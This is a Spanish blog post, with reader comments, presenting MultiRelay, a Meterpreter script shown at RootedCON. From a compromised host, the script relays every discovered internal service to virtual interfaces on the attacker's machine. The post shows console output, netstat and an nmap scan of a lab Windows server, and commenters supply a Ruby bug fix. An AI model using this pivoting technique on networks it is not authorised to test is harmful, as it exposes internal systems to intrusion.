jueves, 10 de marzo de 2011

MultiRelay: PortRelaying Automático

MultiRelay fue el script principal que presenté la pasada semana en la RootedCON.
El script se apoya en otros dos scripts que creé para realizar el descubrimiento y escaneo de red que ya comentamos ayer, y una vez que conoce los servicios de la red realiza el mapeo de los servicios.

En primer lugar crea interfaces virtuales en la máquina en la que se ejecuta Metasploit (el atacante) que se corresponden con las IPs descubiertas en la red interna de la máquina comprometida.

Una vez creados, el script realiza relays mediante el comando portfwd de Meterpreter entre cada una de las IPs virtuales y las IPs reales, con lo que se crea en local una réplica de la red interna de la máquina comprometida, haciendo accesible la red interna:

meterpreter > run multirelay
[*] MULTIRELAY START
[*] STEP 0: CLEAN INTERFACES
[*] STEP 1: PORT DISCOVERY
[*] STEP 2: SET VIRTUAL INTERFACES
[*] ifconfig lo:MR0001 inet 172.16.146.2 netmask 255.255.255.255
[*] ifconfig lo:MR0002 inet 172.16.146.147 netmask 255.255.255.255
[*] ifconfig lo:MR0003 inet 172.16.146.148 netmask 255.255.255.255
[*] STEP 3: TCP PORT RELAY
[*] portfwd add -L 172.16.146.2 -l 631 -r 172.16.146.2 -p 631
[*] Local TCP relay created: 172.16.146.2:631 <-> 172.16.146.2:631
[*] portfwd add -L 172.16.146.147 -l 135 -r 172.16.146.147 -p 135
[*] Local TCP relay created: 172.16.146.147:135 <-> 172.16.146.147:135
[*] portfwd add -L 172.16.146.147 -l 139 -r 172.16.146.147 -p 139
[*] Local TCP relay created: 172.16.146.147:139 <-> 172.16.146.147:139
[*] portfwd add -L 172.16.146.147 -l 445 -r 172.16.146.147 -p 445
[*] Local TCP relay created: 172.16.146.147:445 <-> 172.16.146.147:445
[*] portfwd add -L 172.16.146.147 -l 1025 -r 172.16.146.147 -p 1025
[*] Local TCP relay created: 172.16.146.147:1025 <-> 172.16.146.147:1025
[*] portfwd add -L 172.16.146.147 -l 1026 -r 172.16.146.147 -p 1026
[*] Local TCP relay created: 172.16.146.147:1026 <-> 172.16.146.147:1026
[*] portfwd add -L 172.16.146.148 -l 22 -r 172.16.146.148 -p 22
[*] Local TCP relay created: 172.16.146.148:22 <-> 172.16.146.148:22
[*] portfwd add -L 172.16.146.148 -l 111 -r 172.16.146.148 -p 111
[*] Local TCP relay created: 172.16.146.148:111 <-> 172.16.146.148:111
[*] MULTIRELAY DONE

Una vez hecho esto podemos ver como tenemos creadas las interfaces virtuales y mapeados sus respectivos puertos:

# netstat -anp | grep "LISTEN "
tcp 0 0 172.16.146.147:1025 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.147:1026 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.147:135 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.147:139 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.148:111 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.148:22 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.2:631 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.147:445 0.0.0.0:* LISTEN 6746/ruby

Ya solo tenemos que utilizar nuestra herramienta favorita contra el servicio que queramos, como si estuviéramos en su misma LAN:

# nmap -sV -sC 172.16.146.147

Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-03-09 00:21 CET
Nmap scan report for 172.16.146.147
Host is up (0.0000060s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc?
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
1025/tcp open NFS-or-IIS?
1026/tcp open LSA-or-nterm?
Service Info: OS: Windows

Host script results:
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-os-discovery:
| OS: Windows Server 2003 3790 (Windows Server 2003 5.2)
| Name: GRUPO_TRABAJO\ROOTEDLABS01
|_ System time: 2011-03-09 00:23:06 UTC+1

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.11 seconds

Una vez acabado el trabajo ya solo tenemos que borrar los interfaces virtuales:

meterpreter > run multirelay -d
Deleting relays...
[*] Successfully stopped TCP relay on 172.16.146.147:139
[*] Successfully stopped TCP relay on 172.16.146.147:1026
[*] Successfully stopped TCP relay on 172.16.146.2:631
[*] Successfully stopped TCP relay on 172.16.146.147:445
[*] Successfully stopped TCP relay on 172.16.146.147:135
[*] Successfully stopped TCP relay on 172.16.146.148:111
[*] Successfully stopped TCP relay on 172.16.146.147:1025
[*] Successfully stopped TCP relay on 172.16.146.148:22

Bajo ciertas condiciones el script puede provocar fallos de conectividad en la máquina que contiene el Metasploit, si es que las direcciones de red de la LAN atacada son similares a las direcciones de red internas de las oficinas en las que se encuentre el sistema que ejecuta Metasploit. Poco a poco se irán corrigiendo todo este tipo de fallos.

Espero que disfrutéis de la herramienta y que os resulte muy útil.

7 comentarios:

Ismael Valenzuela dijo...

Buen trabajo Jose. Enhorabuena!

Jose Selvi dijo...

Gracias Ismael :)

Anónimo dijo...

Excelente charla jose, me encantó.

Ahora he estado probando estos programitas con una máquina virtual
aunque me da error



[*] MULTIRELAY START
[*] STEP 0: CLEAN INTERFACES
[*] STEP 1: PORT DISCOVERY
[*] Alive Hosts:
[-] Error in script: NoMethodError undefined method `each' for #


Sabes por qué puede ser?

Un saludo!

Anónimo dijo...

Se que tiene algo que ver con que no puede leer de stdout y el array acaba siendo nil y por eso peta, pero no sé a qué se puede deber :S

Anónimo dijo...

Arreglado jose.

Cuando pillas el stdout y le haces .string, antes de llamar a each te he añadido unos split("\n") para que te lo convierta a array, supongo que dependerá de la versión de ruby, ni idea, yo de ruby 0.

El caso es que cambiando

temphosts.each -> temphosts.split("\n").each

y

ports.each -> ports.split("\n").each

me funciona de lujo.

Buen trabajo tio! y a seguir apoyando a esta gran iniciativa!

Saludos!
fon
mindtrickz.org

Jose Selvi dijo...

@Anónimo: Perdona la tardanza, pero algo ha pasado con las notificaciones de Blogger que no me he enterado que se habían puesto comentarios :P

Como tú dices, será algo por usar diferentes versiones de Ruby, porque a mi en la que viene con BackTrack 4 me funcionaba perfectamente.

A ver si subo el código a algún SVN y le empiezo a hacer algunas mejoras, porque ahora no he querido tocad nada de momento para no empezar un descontrol de versiones.

Gracias!

hyello dijo...

Gracies, lo estoy probando.